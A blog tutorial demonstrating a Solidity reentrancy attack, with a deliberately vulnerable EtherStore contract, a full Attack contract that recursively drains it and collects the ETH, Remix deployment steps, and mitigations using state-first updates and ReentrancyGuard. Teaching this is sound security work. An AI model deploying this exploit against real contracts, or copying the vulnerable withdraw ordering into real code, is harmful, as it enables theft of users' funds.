Exploiting Smart Contracts - Performing Reentrancy Attacks in Solidity
Tags: exploit, solidity, reentrancy
Published: 2024-06-24 20:52:53

---
title: Exploiting Smart Contracts - Performing Reentrancy Attacks in Solidity
description: In this tutorial, we demonstrate how to create a reentrancy exploit in Solidity, including detailed setup, code examples, and execution steps, followed by essential mitigation strategies
draft: false
published: true
tags:
    - exploit
    - solidity
    - reentrancy
categories: []
slug: performing-reentrancy-attacks-in-solidity
link: 
- rel: canonical 
href: https://www.jasonschwarz.xyz/articles/performing-reentrancy-attacks-in-solidity
keywords: ""
---

In this tutorial, we demonstrate how to create a reentrancy exploit in Solidity, including detailed setup, code examples, and execution steps, followed by essential mitigation strategies

### Introduction

Among all attack vectors in blockchain security, reentrancy stands out as particularly significant. One of the most notable incidents involving reentrancy was the 2016 DAO hack, in which $60 million worth of Ether was stolen. This event prompted a hard fork of the Ethereum blockchain to recover the stolen funds, resulting in the creation of two distinct blockchains: Ethereum and Ethereum Classic.

In the aftermath, numerous resources and tools have been developed to prevent reentrancy vulnerabilities. Despite these efforts, modern smart contracts are still being deployed with this critical flaw. Thus, reentrancy remains a persistent threat.

For a comprehensive historical record of reentrancy attacks, refer to this [GitHub repository](https://github.com/passandscore/web3-blogs/blob/main/blog-data/7/contract.sol).

### **Reentrancy Explained**

In this tutorial, we'll simulate a reentrancy attack on the `EtherStore` contract. You can view the code [here](https://github.com/passandscore/smart-contracts/blob/main/hacks-by-example/reentrancy/reentrancy.sol). A reentrancy attack occurs when an attacker repeatedly calls a vulnerable function before the initial call completes, exploiting the contract's operation sequence to deplete its funds.

![Injection Point](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x02b1deossvcxlmy06sf.jpg)


![Reentrancy Process](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pypwhb15ajmsb3yi41yl.jpg)

The above example illustrates the sequence of operations taken by an attacker, including the balance columns tracking the current balance of each contract after each action has been executed.

### **The Vulnerable Contract**

The `EtherStore` contract allows users to deposit and withdraw ETH but contains a reentrancy vulnerability. This vulnerability exists because the user's balance is updated **after** transferring ETH, allowing an attacker to withdraw more funds than initially deposited.

###

```solidity
/**
 * @title EtherStore
 * @dev A simple contract for depositing and withdrawing ETH.
 * Vulnerable to reentrancy attacks.
 */
contract EtherStore {
    mapping(address => uint256) public balances;

    /**
     * @notice Deposit Ether into the contract
     */
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    /**
     * @notice Withdraw the sender's balance
     */
    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    /**
     * @notice Get the total balance of the contract
     * @return The balance of the contract in wei
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

### **How the Attack Works**

By injecting malicious code into the `EtherStore` contract's execution flow, specifically targeting the withdrawal process, an attacker can exploit the timing of the balance update. Here’s a step-by-step breakdown:

1. **Initial Withdrawal Call**: The attacker initiates a withdrawal from their balance in the `EtherStore` contract.
2. **Recursive Call Injection**: Instead of completing the withdrawal process, the attacker's contract makes a recursive call to the `withdraw` function of the `EtherStore`. This happens before the original withdrawal transaction updates the attacker's balance to zero.
3. **Repeated Withdrawals**: Each recursive call triggers another withdrawal before the balance is updated, causing the contract to send ETH repeatedly based on the initial balance.
4. **Balance Misperception**: Since the `EtherStore` contract only updates the user's balance after transferring funds, it continues to believe the attacker has a balance, thus allowing multiple withdrawals in quick succession.
5. **Exploited State**: This recursive loop continues until the contract's funds are depleted or the gas limit is reached, allowing the attacker to withdraw significantly more ETH than initially deposited.

---

## **Attack Contract Code**

The attack contract is designed to exploit the `EtherStore`'s vulnerability:

```solidity

contract Attack {
    EtherStore public etherStore;
    uint256 constant AMOUNT = 1 ether;


    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }


    function _triggerWithdraw() internal {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }


    fallback() external payable {
        _triggerWithdraw();
    }


    receive() external payable {
        _triggerWithdraw();
    }


    function attack() external payable {
        require(msg.value >= AMOUNT, "Insufficient attack amount");

        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    /**
     * @notice Collects Ether from the Attack contract after the exploit
     */
    function collectEther() public {
        payable(msg.sender).transfer(address(this).balance);
    }

    /**
     * @notice Gets the balance of the Attack contract
     * @return The balance of the contract in wei
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

```

### Explanation

1. **Attack Contract Initialization**:
   - The `Attack` contract is initialized with the address of the `EtherStore` contract.
   - The `AMOUNT` is set to 1 ETH to ensure a consistent value used in reentrancy checks.
2. **Fallback and Receive Functions**:
   - Both functions call `_triggerWithdraw`, which calls `withdraw` on the `EtherStore` if it has enough balance. This repeats the withdrawal, exploiting the reentrancy vulnerability.
3. **Attack Function**:
   - The `attack` function deposits 1 ETH into the `EtherStore` and immediately calls `withdraw`, starting the reentrancy loop.
4. **Collecting Stolen Ether**:
   - The `collectEther` function transfers the contract’s balance to the attacker.

---

## Try It on Remix

Deploy and interact with the contracts on [Remix IDE](https://remix.ethereum.org/) to observe how the reentrancy attack works in practice. You can use this direct link to load the code into Remix: [Load on Remix](https://remix.ethereum.org/#url=https://github.com/passandscore/web3-blogs/blob/main/blog-data/7/contract.sol&lang=en&optimize=false&runs=200&evmVersion=null&version=soljson-v0.8.26+commit.8a97fa7a.js).

**EtherStore Contract Deployment:**

1. Use a dedicated wallet and deploy the `EtherStore` contract.
2. Deposit 3 ETH using the deposit method.
3. Verify the contract balance is 3 ETH.


![Etherstore Deployment](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0u1cdh3wr5zwbo0i1v6u.jpg)

**Attack Contract Deployment:**

1. Use a dedicated wallet.
2. Deploy the `Attack` contract with the `EtherStore` contract address.
3. Deposit 1 ETH and run the attack method.
4. Verify that the `EtherStore` contract balance is now 0, and the `Attack` contract balance is 4 ETH.

![Attack Deployment](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dqgmf3r4du3ysvbwlhvb.jpg)

---

<aside>
🎉 Congratulations! You’ve just successfully exploited a contract using the reentrancy attack vector.

</aside>

![](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/83pc2nz9qd87731tz719.png)

While that was certainly informative, it's my moral responsibility to provide you with solutions that will protect you from such potential attackers.

---

## **Mitigation Measures**

To protect smart contracts from reentrancy attacks, consider the following strategies:

1. **Update State First**: Always update the contract state before making external calls to prevent reentrant calls from exploiting outdated state information.
2. **Use Reentrancy Guards**: Implement reentrancy guards to prevent functions from being accessed repeatedly within the same transaction. The [OpenZeppelin ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.6/contracts/security/ReentrancyGuard.sol) is a widely used and audited solution.

---

### **Protected Contract Example**

Below is an example of the `EtherStore` contract fully protected using a reentrancy guard.

```solidity
contract EtherStore is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw() nonReentrant public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
}

```

> 🟢 Added: is ReentrancyGuard to inherit reentrancy protection.

> 🟢 Modified: withdraw function with nonReentrant to prevent reentrancy attacks.

---

### Summary

Congratulations on reaching this point! Armed with this knowledge, you now have the tools to both identify and defend against reentrancy attacks.

This tutorial has demonstrated the mechanics of a reentrancy attack by exploiting a vulnerable function in the `EtherStore` contract. It underscores the critical importance of secure coding practices, such as updating state before making external calls and implementing reentrancy guards, to effectively mitigate such vulnerabilities.

**Connect with me on social media:**

- [X](https://x.com/passandscore)
- [GitHub](https://github.com/passandscore)
- [LinkedIn](https://www.linkedin.com/in/jason-schwarz-75b91482/)